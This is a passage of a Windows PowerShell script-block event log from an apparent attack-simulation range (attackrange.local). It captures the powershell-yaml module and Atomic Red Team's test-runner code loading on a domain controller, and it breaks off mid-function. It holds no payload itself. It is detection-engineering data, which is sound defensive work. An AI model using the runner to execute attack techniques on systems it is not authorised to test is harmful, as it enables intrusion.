[Parameter(Mandatory=$true, ValueFromPipeline=$true)]
[YamlDotNet.RepresentationModel.YamlSequenceNode]$Node,
[switch]$Ordered
)
PROCESS {
$ret = [System.Collections.Generic.List[object]](New-Object "System.Collections.Generic.List[object]")
foreach($i in $Node.Children){
$ret.Add((Convert-YamlDocumentToPSObject $i -Ordered:$Ordered))
}
return ,$ret
}
}
function Convert-YamlDocumentToPSObject {
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true, ValueFromPipeline=$true)]
[System.Object]$Node,
[switch]$Ordered
)
PROCESS {
switch($Node.GetType().FullName){
"YamlDotNet.RepresentationModel.YamlMappingNode"{
return Convert-YamlMappingToHashtable $Node -Ordered:$Ordered
}
"YamlDotNet.RepresentationModel.YamlSequenceNode" {
return Convert-YamlSequenceToArray $Node -Ordered:$Ordered
}
"YamlDotNet.RepresentationModel.YamlScalarNode" {
return (Convert-ValueToProperType $Node)
}
}
}
}
function Convert-HashtableToDictionary {
Param(
[Parameter(Mandatory=$true,ValueFromPipeline=$true)]
[hashtable]$Data
)
foreach($i in $($data.Keys)) {
$Data[$i] = Convert-PSObjectToGenericObject $Data[$i]
}
return $Data
}
function Convert-OrderedHashtableToDictionary {
Param(
[Parameter(Mandatory=$true,ValueFromPipeline=$true)]
[System.Collections.Specialized.OrderedDictionary] $Data
)
foreach ($i in $($data.Keys)) {
$Data[$i] = Convert-PSObjectToGenericObject $Data[$i]
}
return $Data
}
function Convert-ListToGenericList {
Param(
[Parameter(Mandatory=$false,ValueFromPipeline=$true)]
[array]$Data=@()
)
$ret = [System.Collections.Generic.List[object]](New-Object "System.Collections.Generic.List[object]")
for($i=0; $i -lt $Data.Count; $i++) {
$ret.Add((Convert-PSObjectToGenericObject $Data[$i]))
}
return ,$ret
}
function Convert-PSCustomObjectToDictionary {
Param(
[Parameter(Mandatory=$true,ValueFromPipeline=$true)]
[PSCustomObject]$Data
)
$ret = [System.Collections.Generic.Dictionary[string,object]](New-Object 'System.Collections.Generic.Dictionary[string,object]')
foreach ($i in $Data.psobject.properties) {
$ret[$i.Name] = Convert-PSObjectToGenericObject $i.Value
}
return $ret
}
function Convert-PSObjectToGenericObject {
Param(
[Parameter(Mandatory=$false,ValueFromPipeline=$true)]
[System.Object]$Data
)
if ($null -eq $data) {
return $data
}
$dataType = $data.GetType()
if ($data -isnot [System.Object]) {
return $data -as $dataType
}
if ($dataType.FullName -eq "System.Management.Automation.PSCustomObject") {
return Convert-PSCustomObjectToDictionary $data
} elseif (([System.Collections.Specialized.OrderedDictionary].IsAssignableFrom($dataType))){
return Convert-OrderedHashtableToDictionary $data
} elseif (([System.Collections.IDictionary].IsAssignableFrom($dataType))){
return Convert-HashtableToDictionary $data
} elseif (([System.Collections.IList].IsAssignableFrom($dataType))) {
return Convert-ListToGenericList $data
}
return $data -as $dataType
}
function ConvertFrom-Yaml {
[CmdletBinding()]
Param(
[Parameter(Mandatory=$false, ValueFromPipeline=$true, Position=0)]
[string]$Yaml,
[switch]$AllDocuments=$false,
[switch]$Ordered,
[switch]$UseMergingParser=$false
)
BEGIN {
$d = ""
}
PROCESS {
if($Yaml -is [string]) {
$d += $Yaml + "`n"
}
}
END {
if($d -eq ""){
return
}
$documents = Get-YamlDocuments -Yaml $d -UseMergingParser:$UseMergingParser
if (!$documents.Count) {
return
}
if($documents.Count -eq 1){
return Convert-YamlDocumentToPSObject $documents[0].RootNode -Ordered:$Ordered
}
if(!$AllDocuments) {
return Convert-YamlDocumentToPSObject $documents[0].RootNode -Ordered:$Ordered
}
$ret = @()
foreach($i in $documents) {
$ret += Convert-YamlDocumentToPSObject $i.RootNode -Ordered:$Ordered
}
return $ret
}
}
$stringQuotingEmitterSource = @"
using System;
using System.Text.RegularExpressions;
using YamlDotNet;
using YamlDotNet.Core;
using YamlDotNet.Serialization;
using YamlDotNet.Serialization.EventEmitters;
public class StringQuotingEmitter: ChainedEventEmitter {
// Patterns from https://yaml.org/spec/1.2/spec.html#id2804356
private static Regex quotedRegex = new Regex(@`"^(\~|null|true|false|-?(0|[0-9][0-9]*)(\.[0-9]*)?([eE][-+]?[0-9]+)?)?$`", RegexOptions.Compiled);
public StringQuotingEmitter(IEventEmitter next): base(next) {}
public override void Emit(ScalarEventInfo eventInfo, IEmitter emitter) {
var typeCode = eventInfo.Source.Value != null
? Type.GetTypeCode(eventInfo.Source.Type)
: TypeCode.Empty;
switch (typeCode) {
case TypeCode.Char:
if (Char.IsDigit((char)eventInfo.Source.Value)) {
eventInfo.Style = ScalarStyle.DoubleQuoted;
}
break;
case TypeCode.String:
var val = eventInfo.Source.Value.ToString();
if (quotedRegex.IsMatch(val))
{
eventInfo.Style = ScalarStyle.DoubleQuoted;
} else if (val.IndexOf('\n') > -1) {
eventInfo.Style = ScalarStyle.Literal;
}
break;
}
base.Emit(eventInfo, emitter);
}
public static SerializerBuilder Add(SerializerBuilder builder) {
return builder.WithEventEmitter(next => new StringQuotingEmitter(next));
}
}
"@
$referenceList = @([YamlDotNet.Serialization.Serializer].Assembly.Location,[Text.RegularExpressions.Regex].Assembly.Location)
if ($PSVersionTable.PSEdition -eq "Core") {
Add-Type -TypeDefinition $stringQuotingEmitterSource -ReferencedAssemblies $referenceList -Language CSharp -CompilerOptions "-nowarn:1701"
} else {
Add-Type -TypeDefinition $stringQuotingEmitterSource -ReferencedAssemblies $referenceList -Language CSharp
}
function Get-Serializer {
Param(
[Parameter(Mandatory=$true)][YamlDotNet.Serialization.SerializationOptions]$Options
)
$builder = New-Object "YamlDotNet.Serialization.SerializerBuilder"
if ($Options.HasFlag([YamlDotNet.Serialization.SerializationOptions]::Roundtrip)) {
$builder = $builder.EnsureRoundtrip()
}
if ($Options.HasFlag([YamlDotNet.Serialization.SerializationOptions]::DisableAliases)) {
$builder = $builder.DisableAliases()
}
if ($Options.HasFlag([YamlDotNet.Serialization.SerializationOptions]::EmitDefaults)) {
$builder = $builder.EmitDefaults()
}
if ($Options.HasFlag([YamlDotNet.Serialization.SerializationOptions]::JsonCompatible)) {
$builder = $builder.JsonCompatible()
}
if ($Options.HasFlag([YamlDotNet.Serialization.SerializationOptions]::DefaultToStaticType)) {
$builder = $builder.WithTypeResolver((New-Object "YamlDotNet.Serialization.TypeResolvers.StaticTypeResolver"))
}
$builder = [StringQuotingEmitter]::Add($builder)
return $builder.Build()
}
function ConvertTo-Yaml {
[CmdletBinding(DefaultParameterSetName = 'NoOptions')]
Param(
[Parameter(ValueFromPipeline = $true, Position=0)]
[System.Object]$Data,
[string]$OutFile,
[Parameter(ParameterSetName = 'Options')]
[YamlDotNet.Serialization.SerializationOptions]$Options = [YamlDotNet.Serialization.SerializationOptions]::Roundtrip,
[Parameter(ParameterSetName = 'NoOptions')]
[switch]$JsonCompatible,
[switch]$Force
)
BEGIN {
$d = [System.Collections.Generic.List[object]](New-Object "System.Collections.Generic.List[object]")
}
PROCESS {
if($data -is [System.Object]) {
$d.Add($data)
}
}
END {
if ($d -eq $null -or $d.Count -eq 0) {
return
}
if ($d.Count -eq 1) {
$d = $d[0]
}
$norm = Convert-PSObjectToGenericObject $d
if ($OutFile) {
$parent = Split-Path $OutFile
if (!(Test-Path $parent)) {
Throw "Parent folder for specified path does not exist"
}
if ((Test-Path $OutFile) -and !$Force) {
Throw "Target file already exists. Use -Force to overwrite."
}
$wrt = New-Object "System.IO.StreamWriter" $OutFile
} else {
$wrt = New-Object "System.IO.StringWriter"
}
if ($PSCmdlet.ParameterSetName -eq 'NoOptions') {
$Options = 0
if ($JsonCompatible) {
# No indent options :~(
$Options = [YamlDotNet.Serialization.SerializationOptions]::JsonCompatible
}
}
try {
$serializer = Get-Serializer $Options
$serializer.Serialize($wrt, $norm)
}
catch{
$_
}
finally {
$wrt.Close()
}
if ($OutFile) {
return
} else {
return $wrt.ToString()
}
}
}
New-Alias -Name cfy -Value ConvertFrom-Yaml
New-Alias -Name cty -Value ConvertTo-Yaml
Export-ModuleMember -Function * -Alias *
ScriptBlock ID: 41a17d9d-9df5-4718-a2c2-1ded2d9fa938
Path: C:\Users\Administrator\Documents\WindowsPowerShell\Modules\powershell-yaml\0.4.2\powershell-yaml.psm1
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469366
Keywords=None
Message=Completed invocation of ScriptBlock ID: a81fea89-2a48-4f7b-8555-dcfece0367bb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469365
Keywords=None
Message=Completed invocation of ScriptBlock ID: a6caceea-8446-4eb7-abae-4a901318fa07
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469364
Keywords=None
Message=Completed invocation of ScriptBlock ID: 11dc3648-7159-41b7-822e-471d9745f6e7
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469363
Keywords=None
Message=Started invocation of ScriptBlock ID: 11dc3648-7159-41b7-822e-471d9745f6e7
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1469362
Keywords=None
Message=Creating Scriptblock text (1 of 1):
function Load-Assembly {
$libDir = Join-Path $here "lib"
$assemblies = @{
"core" = Join-Path $libDir "netstandard1.3\YamlDotNet.dll";
"net45" = Join-Path $libDir "net45\YamlDotNet.dll";
"net35" = Join-Path $libDir "net35\YamlDotNet.dll";
}
if ($PSVersionTable.PSEdition -eq "Core") {
return [Reflection.Assembly]::LoadFrom($assemblies["core"])
} elseif ($PSVersionTable.PSVersion.Major -ge 4) {
return [Reflection.Assembly]::LoadFrom($assemblies["net45"])
} else {
return [Reflection.Assembly]::LoadFrom($assemblies["net35"])
}
}
ScriptBlock ID: 11dc3648-7159-41b7-822e-471d9745f6e7
Path: C:\Users\Administrator\Documents\WindowsPowerShell\Modules\powershell-yaml\0.4.2\Load-Assemblies.ps1
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469361
Keywords=None
Message=Started invocation of ScriptBlock ID: a6caceea-8446-4eb7-abae-4a901318fa07
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1469360
Keywords=None
Message=Creating Scriptblock text (1 of 1):
function Initialize-Assemblies {
$requiredTypes = @(
"Parser", "MergingParser", "YamlStream",
"YamlMappingNode", "YamlSequenceNode",
"YamlScalarNode", "ChainedEventEmitter",
"Serializer", "Deserializer", "SerializerBuilder",
"StaticTypeResolver"
)
$yaml = [System.AppDomain]::CurrentDomain.GetAssemblies() | ? Location -Match "YamlDotNet.dll"
if (!$yaml) {
return Load-Assembly
}
foreach ($i in $requiredTypes){
if ($i -notin $yaml.DefinedTypes.Name) {
Throw "YamlDotNet is loaded but missing required types ($i). Older version installed on system?"
}
}
}
ScriptBlock ID: a6caceea-8446-4eb7-abae-4a901318fa07
Path: C:\Users\Administrator\Documents\WindowsPowerShell\Modules\powershell-yaml\0.4.2\Load-Assemblies.ps1
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469359
Keywords=None
Message=Started invocation of ScriptBlock ID: a81fea89-2a48-4f7b-8555-dcfece0367bb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=3
Type=Warning
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1469358
Keywords=None
Message=Creating Scriptblock text (1 of 1):
# Copyright 2016 Cloudbase Solutions Srl
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
#
$here = Split-Path -Parent $MyInvocation.MyCommand.Path
function Load-Assembly {
$libDir = Join-Path $here "lib"
$assemblies = @{
"core" = Join-Path $libDir "netstandard1.3\YamlDotNet.dll";
"net45" = Join-Path $libDir "net45\YamlDotNet.dll";
"net35" = Join-Path $libDir "net35\YamlDotNet.dll";
}
if ($PSVersionTable.PSEdition -eq "Core") {
return [Reflection.Assembly]::LoadFrom($assemblies["core"])
} elseif ($PSVersionTable.PSVersion.Major -ge 4) {
return [Reflection.Assembly]::LoadFrom($assemblies["net45"])
} else {
return [Reflection.Assembly]::LoadFrom($assemblies["net35"])
}
}
function Initialize-Assemblies {
$requiredTypes = @(
"Parser", "MergingParser", "YamlStream",
"YamlMappingNode", "YamlSequenceNode",
"YamlScalarNode", "ChainedEventEmitter",
"Serializer", "Deserializer", "SerializerBuilder",
"StaticTypeResolver"
)
$yaml = [System.AppDomain]::CurrentDomain.GetAssemblies() | ? Location -Match "YamlDotNet.dll"
if (!$yaml) {
return Load-Assembly
}
foreach ($i in $requiredTypes){
if ($i -notin $yaml.DefinedTypes.Name) {
Throw "YamlDotNet is loaded but missing required types ($i). Older version installed on system?"
}
}
}
Initialize-Assemblies | Out-Null
ScriptBlock ID: a81fea89-2a48-4f7b-8555-dcfece0367bb
Path: C:\Users\Administrator\Documents\WindowsPowerShell\Modules\powershell-yaml\0.4.2\Load-Assemblies.ps1
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9d46c083-501a-43f5-a689-3129841e3361
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469356
Keywords=None
Message=Started invocation of ScriptBlock ID: 9d46c083-501a-43f5-a689-3129841e3361
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1469355
Keywords=None
Message=Creating Scriptblock text (1 of 1):
# Copyright 2016 Cloudbase Solutions Srl
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
#
# Module manifest for module 'powershell-yaml'
#
# Generated by: Gabriel Adrian Samfira
#
# Generated on: 10/01/2016
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'powershell-yaml.psm1'
# Version number of this module.
ModuleVersion = '0.4.2'
# ID used to uniquely identify this module
GUID = '6a75a662-7f53-425a-9777-ee61284407da'
# Author of this module
Author = 'Gabriel Adrian Samfira','Alessandro Pilotti'
# Company or vendor of this module
CompanyName = 'Cloudbase Solutions SRL'
# Copyright statement for this module
Copyright = '(c) 2016 Cloudbase Solutions SRL. All rights reserved.'
# Description of the functionality provided by this module
Description = 'Powershell module for serializing and deserializing YAML'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '3.0'
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
ScriptsToProcess = @("Load-Assemblies.ps1")
# Functions to export from this module
FunctionsToExport = "ConvertTo-Yaml","ConvertFrom-Yaml"
AliasesToExport = "cfy","cty"
}
ScriptBlock ID: 9d46c083-501a-43f5-a689-3129841e3361
Path: C:\Users\Administrator\Documents\WindowsPowerShell\Modules\powershell-yaml\0.4.2\powershell-yaml.psd1
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469354
Keywords=None
Message=Completed invocation of ScriptBlock ID: b459aaab-de7d-420a-80f5-5c41c18dff6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469353
Keywords=None
Message=Started invocation of ScriptBlock ID: b459aaab-de7d-420a-80f5-5c41c18dff6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1469352
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Test-Path -Path $_ -Include '*.yaml', '*.yml' }
ScriptBlock ID: b459aaab-de7d-420a-80f5-5c41c18dff6a
Path: C:\AtomicRedTeam\invoke-atomicredteam\Public\Get-AtomicTechnique.ps1
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469351
Keywords=None
Message=Started invocation of ScriptBlock ID: 9977b850-34e8-42e4-a697-d3c6bfbce619
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1469350
Keywords=None
Message=Creating Scriptblock text (1 of 1):
function Invoke-AtomicTestSingle ($AT) {
$AT = $AT.ToUpper()
$pathToYaml = Join-Path $PathToAtomicsFolder "\$AT\$AT.yaml"
if (Test-Path -Path $pathToYaml) { $AtomicTechniqueHash = Get-AtomicTechnique -Path $pathToYaml }
else {
Write-Host -Fore Red "ERROR: $PathToYaml does not exist`nCheck your Atomic Number and your PathToAtomicsFolder parameter"
return
}
$techniqueCount = 0
foreach ($technique in $AtomicTechniqueHash) {
$techniqueCount++
$props = @{
Activity = "Running $($technique.display_name.ToString()) Technique"
Status = 'Progress:'
PercentComplete = ($techniqueCount / ($AtomicTechniqueHash).Count * 100)
}
Write-Progress @props
Write-Debug -Message "Gathering tests for Technique $technique"
$testCount = 0
foreach ($test in $technique.atomic_tests) {
Write-Verbose -Message 'Determining tests for target operating system'
$testCount++
if (-Not $test.supported_platforms.Contains($targetPlatform)) {
Write-Verbose -Message "Unable to run non-$targetPlatform tests"
continue
}
if ($null -ne $TestNumbers) {
if (-Not ($TestNumbers -contains $testCount) ) { continue }
}
if ($null -ne $TestNames) {
if (-Not ($TestNames -contains $test.name) ) { continue }
}
if ($null -ne $TestGuids) {
if (-Not ($TestGuids -contains $test.auto_generated_guid) ) { continue }
}
$props = @{
Activity = 'Running Atomic Tests'
Status = 'Progress:'
PercentComplete = ($testCount / ($technique.atomic_tests).Count * 100)
}
Write-Progress @props
Write-Verbose -Message 'Determining manual tests'
if ($test.executor.name.Contains('manual')) {
Write-Verbose -Message 'Unable to run manual tests'
continue
}
$testId = "$AT-$testCount $($test.name)"
if ($ShowDetailsBrief) {
Write-KeyValue $testId
continue
}
if ($PromptForInputArgs) {
$InputArgs = Invoke-PromptForInputArgs $test.input_arguments
}
if ($ShowDetails) {
Show-Details $test $testCount $technique $InputArgs $PathToPayloads
continue
}
Write-Debug -Message 'Gathering final Atomic test command'
if ($CheckPrereqs) {
Write-KeyValue "CheckPrereq's for: " $testId
$failureReasons = Invoke-CheckPrereqs $test $isElevated $InputArgs $PathToPayloads $TimeoutSeconds $session
Write-PrereqResults $FailureReasons $testId
}
elseif ($GetPrereqs) {
Write-KeyValue "GetPrereq's for: " $testId
if ( $test.executor.elevation_required -and -not $isElevated) {
Write-Host -ForegroundColor Red "Elevation required but not provided"
}
if ($nul -eq $test.dependencies) { Write-KeyValue "No Preqs Defined"; continue }
foreach ($dep in $test.dependencies) {
$executor = Get-PrereqExecutor $test
$description = (Merge-InputArgs $dep.description $test $InputArgs $PathToPayloads).trim()
Write-KeyValue "Attempting to satisfy prereq: " $description
$final_command_prereq = Merge-InputArgs $dep.prereq_command $test $InputArgs $PathToPayloads
if ($executor -ne "powershell") { $final_command_prereq = ($final_command_prereq.trim()).Replace("`n", " && ") }
$final_command_get_prereq = Merge-InputArgs $dep.get_prereq_command $test $InputArgs $PathToPayloads
$res = Invoke-ExecuteCommand $final_command_prereq $executor $TimeoutSeconds $session -Interactive:$true
if ($res -eq 0) {
Write-KeyValue "Prereq already met: " $description
}
else {
$res = Invoke-ExecuteCommand $final_command_get_prereq $executor $TimeoutSeconds $session -Interactive:$Interactive
$res = Invoke-ExecuteCommand $final_command_prereq $executor $TimeoutSeconds $session -Interactive:$true
if ($res -eq 0) {
Write-KeyValue "Prereq successfully met: " $description
}
else {
Write-Host -ForegroundColor Red "Failed to meet prereq: $description"
}
}
}
}
elseif ($Cleanup) {
Write-KeyValue "Executing cleanup for test: " $testId
$final_command = Merge-InputArgs $test.executor.cleanup_command $test $InputArgs $PathToPayloads
$res = Invoke-ExecuteCommand $final_command $test.executor.name $TimeoutSeconds $session -Interactive:$Interactive
Write-KeyValue "Done executing cleanup for test: " $testId
}
else {
Write-KeyValue "Executing test: " $testId
$startTime = get-date
$final_command = Merge-InputArgs $test.executor.command $test $InputArgs $PathToPayloads
$res = Invoke-ExecuteCommand $final_command $test.executor.name $TimeoutSeconds $session -Interactive:$Interactive
Write-ExecutionLog $startTime $AT $testCount $test.name $ExecutionLogPath $targetHostname $targetUser $test.auto_generated_guid
Write-KeyValue "Done executing test: " $testId
}
if ($session) {
write-output (Invoke-Command -Session $session -scriptblock { (Get-Content $($Using:tmpDir + "art-out.txt")) -replace '\x00', ''; (Get-Content $($Using:tmpDir + "art-err.txt")) -replace '\x00', ''; if(-not $KeepStdOutStdErrFiles) { Remove-Item $($Using:tmpDir + "art-out.txt"), $($Using:tmpDir + "art-err.txt") -Force -ErrorAction Ignore }})
}
elseif (-not $interactive) {
# It is possible to have a null $session BUT also have stdout and stderr captured from
# the executed command. IF so then write the output to the pipe and cleanup the files.
$stdoutFilename = $tmpDir + "art-out.txt"
if (Test-Path $stdoutFilename -PathType leaf) {
Write-Output ((Get-Content $stdoutFilename) -replace '\x00', '')
if(-not $KeepStdOutStdErrFiles) {
Remove-Item $stdoutFilename
}
}
$stderrFilename = $tmpDir + "art-err.txt"
if (Test-Path $stderrFilename -PathType leaf) {
Write-Output ((Get-Content $stderrFilename) -replace '\x00', '')
if(-not $KeepStdOutStdErrFiles) {
Remove-Item $stderrFilename
}
}
}
} # End of foreach Test in single Atomic Technique
} # End of foreach Technique in Atomic Tests
}
ScriptBlock ID: 9977b850-34e8-42e4-a697-d3c6bfbce619
Path: C:\AtomicRedTeam\invoke-atomicredteam\Public\Invoke-AtomicTest.ps1
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 09cb335e-396f-45bc-bf57-1b3b9cd655fd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469348
Keywords=None
Message=Started invocation of ScriptBlock ID: 09cb335e-396f-45bc-bf57-1b3b9cd655fd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1469347
Keywords=None
Message=Creating Scriptblock text (1 of 1):
function Get-TargetInfo($Session) {
$tmpDir = "$env:TEMP\"
$isElevated = $false
$targetHostname = hostname
$targetUser = whoami
if ($Session) {
$targetPlatform, $isElevated, $tmpDir, $targetHostname, $targetUser = invoke-command -Session $Session -ScriptBlock {
$targetPlatform = "windows"
$tmpDir = "/tmp/"
$targetHostname = hostname
$targetUser = whoami
if ($IsLinux) { $targetPlatform = "linux" }
elseif ($IsMacOS) { $targetPlatform = "macos" }
else { # windows
$tmpDir = "$env:TEMP\"
$isElevated = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
}
if ($IsLinux -or $IsMacOS) {
$isElevated = $false
$privid = id -u
if ($privid -eq 0) { $isElevated = $true }
}
$targetPlatform, $isElevated, $tmpDir, $targetHostname, $targetUser
} # end ScriptBlock for remote session
}
else {
$targetPlatform = "linux"
if ($IsLinux -or $IsMacOS) {
$tmpDir = "/tmp/"
$isElevated = $false
$privid = id -u
if ($privid -eq 0) { $isElevated = $true }
if ($IsMacOS) { $targetPlatform = "macos" }
}
else {
$targetPlatform = "windows"
